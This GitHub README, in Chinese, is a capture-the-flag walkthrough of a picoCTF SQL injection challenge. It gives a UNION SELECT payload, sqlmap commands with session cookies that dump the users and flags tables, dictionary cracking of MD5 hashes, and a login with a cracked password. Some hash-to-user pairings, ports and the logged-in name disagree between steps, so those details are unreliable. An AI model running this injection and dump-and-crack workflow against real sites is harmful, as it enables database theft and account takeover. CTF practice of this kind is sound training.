ArutyunyanA/picoCTF-2025---Sql-Map1-Web-Exploitation-Challenge-PoC-Walkthrough-
GitHub: ArutyunyanA/picoCTF-2025---Sql-Map1-Web-Exploitation-Challenge-PoC-Walkthrough-
一份针对 picoCTF SQL 注入挑战的完整 PoC 教学,演示从漏洞发现到利用获取 flag 的全过程。
Stars: 0 | Forks: 0
# picoCTF-2025---Sql-Map1-Web-Exploitation-Challenge-PoC-Walkthrough-
本指南针对 Web 漏洞利用类别的 picoCTF 挑战,包含 SQL 注入指南、检测易受攻击 Web 应用程序中 SQL 漏洞的说明、使用 sqlmap 工具利用数据并演示 PoC 恢复过程。
## 第 1 步 - 启动服务器并注册
首先,我们应在收到服务器链接后注册应用程序,链接格式如下:
http://lonely-island.picoctf.net:57237/
因此,我选择了一个普通用户名 john doe 和密码 1234567,注册后登录。
```
POST http://lonely-island.picoctf.net:57237/login.php HTTP/1.1
host: lonely-island.picoctf.net:57237
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://lonely-island.picoctf.net:57237
Connection: keep-alive
Referer: http://lonely-island.picoctf.net:57237/index.php?registered=1
Cookie: PHPSESSID=7e939ef37878208936ada788e85277a8
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=john+doe&password=1234567
```
并收到响应:
```
HTTP/1.1 200 OK
Date: Tue, 14 Apr 2026 16:28:44 GMT
Server: Apache/2.4.66 (Debian)
X-Powered-By: PHP/8.2.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1502
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Search picoCTF2026
```
## 第 2 步 - 请求/响应
现在我们可以输入一些内容,例如“flag”或“picoCTF”,在此阶段并不重要,因为我们只需要检测漏洞。输入 SQL 查询字段的内容,随便输入一些内容……
```
GET http://lonely-island.picoctf.net:57237/vuln.php?q=flag&PHPSESSID=c550160778a5f4f60ecaa2ff2c7a1cd3 HTTP/1.1
host: lonely-island.picoctf.net:57237
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
Referer: http://lonely-island.picoctf.net:57237/vuln.php
Cookie: PHPSESSID=c550160778a5f4f60ecaa2ff2c7a1cd3
Upgrade-Insecure-Requests: 1
Priority: u=0, i
```
并查看响应:
```
Search picoCTF2026
```
## 第 3 步 - sqlmap 与 SQL 注入
很好!现在我们看到了用于 SQL 查询操作的字段:
http://lonely-island.picoctf.net:57237/vuln.php?q=
在 php?q= 后面,“q” 是查询参数,我们可以输入类似 `'union select username, password from users--` 的内容,输入后会得到:
```
admin: 5a9a79d9fa477ed163b89088681672c9
ctf-player: 7a67ab5872843b22b5e14511867c4e43
ctf-player: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}
flag1: picoCTF{n0T_F0uNd_s3cr3T_K3y_34rd76s1}
flag2: picoCTF{n0T_F0uNd_s3cr3T_k3Y_c5d243edq}
flag3: picoCTF{i5_tH15_s3cr3T_k3Y_5tbax3er}
flag4: picoCTF{tH15_lS_n0T_s3cr3T_k3Y_vbr1qa43}
flag6: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}
flag7: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}
ghost: 8d2379c40704bed972e55680be2355e2
john doe: e10adc3949ba59abbe56e057f20f883e
malicious: a669d60c31ad3d05b9e453c8576c7aab
malicious: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}
noaccess: 83806b490e28a7f8e6662646cbdbff1a
noaccess: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}
suspicious: eb1f3ba6901c65d9b2e09a38f560758b
suspicious: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}
```
但我们的目标是使用 sqlmap 工具检测漏洞,因为有时它比手动尝试正确的 SQL 查询更快速、更简便。因此,要正确使用 sqlmap,我们需要查看其选项,只需输入帮助菜单,例如:
```
macintosh$ sqlmap -h
___
__H__
___ ___[)]_____ ___ ___ {1.8.12#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: python3.13 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
These options do not fit into any other category
--wizard Simple wizard interface for beginner users
```
很好,那么,正如我们从众多选项中所见,我们需要使用标志 `-u URL`(目标 URL,例如 `"http://www.site.com/vuln.php?id=1"`),以及 `--cookie=COOKIE`(HTTP Cookie 头值,例如 `"PHPSESSID=a8d127e.."`),并填入我们注册后的数据。首先,我想要列出当前可用的数据库表,为此应使用以下标志:`--batch`(永不询问用户输入,使用默认行为)和 `--tables`(枚举 DBMS 数据库表)。我们来看看结果:
```
macintosh$ sqlmap -u "http://lonely-island.picoctf.net:63313/vuln.php?q=" --cookie="PHPSESSID=7bf0d146829e94e722dc241a2002f5d2" --batch --tables
[18:54:54] [INFO] fetching tables for database: 'SQLite_masterdb'
[18:54:54] [INFO] fetching number of tables for database 'SQLite_masterdb'
[18:54:54] [INFO] resumed: 3
[18:54:54] [INFO] resumed: users
[18:54:54] [INFO] resumed: sqlite_sequence
[18:54:54] [INFO] resumed: flags
[3 tables]
+-----------------+
| flags |
| sqlite_sequence |
| users |
+-----------------+
```
现在我们已经知道了存在的表,接下来尝试使用 `--dump`(导出数据库表条目)和 `--passwords`(枚举数据库用户密码哈希)获取实际数据,完整命令如下:
```
macintosh$ sqlmap -u "http://lonely-island.picoctf.net:63313/vuln.php?q=" --cookie="PHPSESSID=7bf0d146829e94e722dc241a2002f5d2" --dump --passwords
[18:47:06] [WARNING] on SQLite it is not possible to enumerate the user password hashes
[18:47:06] [INFO] fetching tables for database: 'SQLite_masterdb'
[18:47:06] [INFO] fetching number of tables for database 'SQLite_masterdb'
[18:47:06] [INFO] resumed: 3
[18:47:06] [INFO] resumed: users
[18:47:06] [INFO] resumed: sqlite_sequence
[18:47:06] [INFO] resumed: flags
[18:47:06] [INFO] resumed: CREATE TABLE users (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n username TEXT NOT NULL UNIQUE,\n password TEXT NOT NULL\n )
[18:47:06] [INFO] fetching entries for table 'users'
[18:47:06] [INFO] fetching number of entries for table 'users' in database 'SQLite_masterdb'
[18:47:06] [INFO] resumed: 7
[18:47:06] [INFO] resumed: 6
[18:47:06] [INFO] resumed: 7a67ab5872843b22b5e14511867c4e43
[18:47:06] [INFO] resumed: admin
[18:47:06] [INFO] resumed: 1
[18:47:06] [INFO] resumed: 83806b490e28a7f8e6662646cbdbff1a
[18:47:06] [INFO] resumed: ctf-player
[18:47:06] [INFO] resumed: 5
[18:47:06] [INFO] resumed: eb1f3ba6901c65d9b2e09a38f560758b
[18:47:06] [INFO] resumed: ghost
[18:47:06] [INFO] resumed: 7
[18:47:06] [INFO] resumed: a669d60c31ad3d05b9e453c8576c7aab
[18:47:06] [INFO] resumed: john doe
[18:47:06] [INFO] resumed: 4
[18:47:06] [INFO] resumed: 8d2379c40704bed972e55680be2355e2
[18:47:06] [INFO] resumed: malicious
[18:47:06] [INFO] resumed: 2
[18:47:06] [INFO] resumed: 5a9a79d9fa477ed163b89088681672c9
[18:47:06] [INFO] resumed: noaccess
[18:47:06] [INFO] resumed: 3
[18:47:06] [INFO] resumed: fcea920f7412b5da7be0cf42b8c93759
[18:47:06] [INFO] resumed: suspicious
[18:47:06] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[18:47:10] [INFO] writing hashes to a temporary file '/var/folders/4s/_fyj2mkx689ck27kpq0r1tpm0000gn/T/sqlmapiqv4f1wu68690/sqlmaphashes-mvre0znw.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database:
Table: users
[7 entries]
+----+----------------------------------+------------+
| id | password | username |
+----+----------------------------------+------------+
| 6 | 7a67ab5872843b22b5e14511867c4e43 | admin |
| 1 | 83806b490e28a7f8e6662646cbdbff1a | ctf-player |
| 5 | eb1f3ba6901c65d9b2e09a38f560758b | ghost |
| 7 | a669d60c31ad3d05b9e453c8576c7aab | john doe |
| 4 | 8d2379c40704bed972e55680be2355e2 | malicious |
| 2 | 5a9a79d9fa477ed163b89088681672c9 | noaccess |
| 3 | fcea920f7412b5da7be0cf42b8c93759 | suspicious |
+----+----------------------------------+------------+
[18:47:25] [INFO] table 'SQLite_masterdb.users' dumped to CSV file '/Users/macintosh/.local/share/sqlmap/output/lonely-island.picoctf.net/dump/SQLite_masterdb/users.csv'
[18:47:25] [INFO] resumed: CREATE TABLE flags (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n key TEXT NOT NULL UNIQUE,\n value TEXT NOT NULL\n )
[18:47:25] [INFO] fetching entries for table 'flags'
[18:47:25] [INFO] fetching number of entries for table 'flags' in database 'SQLite_masterdb'
[18:47:25] [INFO] resumed: 10
[18:47:25] [INFO] resumed: 8
[18:47:25] [INFO] resumed: ctf-player
[18:47:25] [INFO] resumed: picoCTF{n0T_F0uNd_s3cr3T_K3y_34rd76s1}
[18:47:25] [INFO] resumed: 1
[18:47:25] [INFO] resumed: flag1
[18:47:25] [INFO] resumed: picoCTF{n0T_F0uNd_s3cr3T_k3Y_c5d243edq}
[18:47:25] [INFO] resumed: 2
[18:47:25] [INFO] resumed: flag2
[18:47:25] [INFO] resumed: picoCTF{i5_tH15_s3cr3T_k3Y_5tbax3er}
[18:47:25] [INFO] resumed: 3
[18:47:25] [INFO] resumed: flag3
[18:47:25] [INFO] resumed: picoCTF{tH15_lS_n0T_s3cr3T_k3Y_vbr1qa43}
[18:47:25] [INFO] resumed: 4
[18:47:25] [INFO] resumed: flag4
[18:47:25] [INFO] resumed: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}
[18:47:25] [INFO] resumed: 6
[18:47:25] [INFO] resumed: flag6
[18:47:25] [INFO] resumed: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}
[18:47:25] [INFO] resumed: 7
[18:47:25] [INFO] resumed: flag7
[18:47:25] [INFO] resumed: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}
[18:47:25] [INFO] resumed: 10
[18:47:25] [INFO] resumed: malicious
[18:47:25] [INFO] resumed: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}
[18:47:25] [INFO] resumed: 9
[18:47:25] [INFO] resumed: noaccess
[18:47:25] [INFO] resumed: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}
[18:47:25] [INFO] resumed: 5
[18:47:25] [INFO] resumed: suspicious
[18:47:25] [INFO] resumed: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}
Database:
Table: flags
[10 entries]
+----+------------+------------------------------------------+
| id | key | value |
+----+------------+------------------------------------------+
| 8 | ctf-player | picoCTF{n0T_F0uNd_s3cr3T_K3y_34rd76s1} |
| 1 | flag1 | picoCTF{n0T_F0uNd_s3cr3T_k3Y_c5d243edq} |
| 2 | flag2 | picoCTF{i5_tH15_s3cr3T_k3Y_5tbax3er} |
| 3 | flag3 | picoCTF{tH15_lS_n0T_s3cr3T_k3Y_vbr1qa43} |
| 4 | flag4 | picoCTF{tH15_lS_n0T_f!@G_5rwdf731q} |
| 6 | flag6 | picoCTF{tH15_lS_n0T_f!@G_5rwdf731q} |
| 7 | flag7 | picoCTF{tH15_lS_n0T_f!@G_5rwdf731q} |
| 10 | malicious | picoCTF{tH15_lS_n0T_f!@G_5rwdf731q} |
| 9 | noaccess | picoCTF{tH15_lS_n0T_f!@G_5rwdf731q} |
| 5 | suspicious | picoCTF{tH15_lS_n0T_f!@G_5rwdf731q} |
+----+------------+------------------------------------------+
[18:47:25] [INFO] table 'SQLite_masterdb.flags' dumped to CSV file '/Users/macintosh/.local/share/sqlmap/output/lonely-island.picoctf.net/dump/SQLite_masterdb/flags.csv'
[18:47:25] [INFO] resumed: CREATE TABLE sqlite_sequence(name,seq)
[18:47:25] [INFO] fetching entries for table 'sqlite_sequence'
[18:47:25] [INFO] fetching number of entries for table 'sqlite_sequence' in database 'SQLite_masterdb'
[18:47:25] [INFO] resumed: 2
[18:47:25] [INFO] resumed: users
[18:47:25] [INFO] resumed: 7
[18:47:25] [INFO] resumed: flags
[18:47:25] [INFO] resumed: 10
Database:
Table: sqlite_sequence
[2 entries]
+-----+-------+
| seq | name |
+-----+-------+
| 7 | users |
| 10 | flags |
+-----+-------+
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[18:49:17] [INFO] writing hashes to a temporary file '/var/folders/4s/_fyj2mkx689ck27kpq0r1tpm0000gn/T/sqlmapa3eqcmi368855/sqlmaphashes-gj6iab0n.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[18:49:19] [INFO] using hash method 'md5_generic_passwd'
[18:49:19] [INFO] resuming password 'dyesebel' for hash '7a67ab5872843b22b5e14511867c4e43' for user 'admin'
[18:49:19] [INFO] resuming password '1234567' for hash 'fcea920f7412b5da7be0cf42b8c93759' for user 'suspicious'
```
在使用基于字典的攻击后,我们发现管理员密码为 dyesebel,这意味着我们可以尝试以管理员身份登录,但当我尝试时并未成功,逻辑上应返回 200 状态码并获取标志,但经过对用户名与密码的组合尝试后,我最终得到了状态码 200 的成功响应和标志,正确的组合在我的示例中为 ctf-player:dyesebel,让我们看看具体是怎样的:
```
POST http://lonely-island.picoctf.net:62067/login.php HTTP/1.1
host: lonely-island.picoctf.net:62067
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Content-Type: application/x-www-form-urlencoded
content-length: 37
Origin: http://lonely-island.picoctf.net:57237
Connection: keep-alive
Referer: http://lonely-island.picoctf.net:62067/index.php?registered=1
Cookie: PHPSESSID=7e939ef37878208936ada788e85277a8
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=ctf-player&password=dyesebel
```
响应如下:
```
HTTP/1.1 200 OK
Date: Tue, 14 Apr 2026 17:00:10 GMT
Server: Apache/2.4.66 (Debian)
X-Powered-By: PHP/8.2.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 695
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
picoCTF{F0uNd_s3cr3T_K3y_f0R_w3_<>}
Vulnerable Flag Search - picoCTF2026
Search for flags using special keywords
Logged in as: john doe
Results
Vulnerable Flag Search - picoCTF2026
Search for flags using special keywords
Logged in as: john doe
Results
- flag1: picoCTF{n0T_F0uNd_s3cr3T_K3y_34rd76s1}
- flag2: picoCTF{n0T_F0uNd_s3cr3T_k3Y_c5d243edq}
- flag3: picoCTF{i5_tH15_s3cr3T_k3Y_5tbax3er}
- flag4: picoCTF{tH15_lS_n0T_s3cr3T_k3Y_vbr1qa43}
- flag6: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}
- flag7: picoCTF{tH15_lS_n0T_f!@G_5rwdf731q}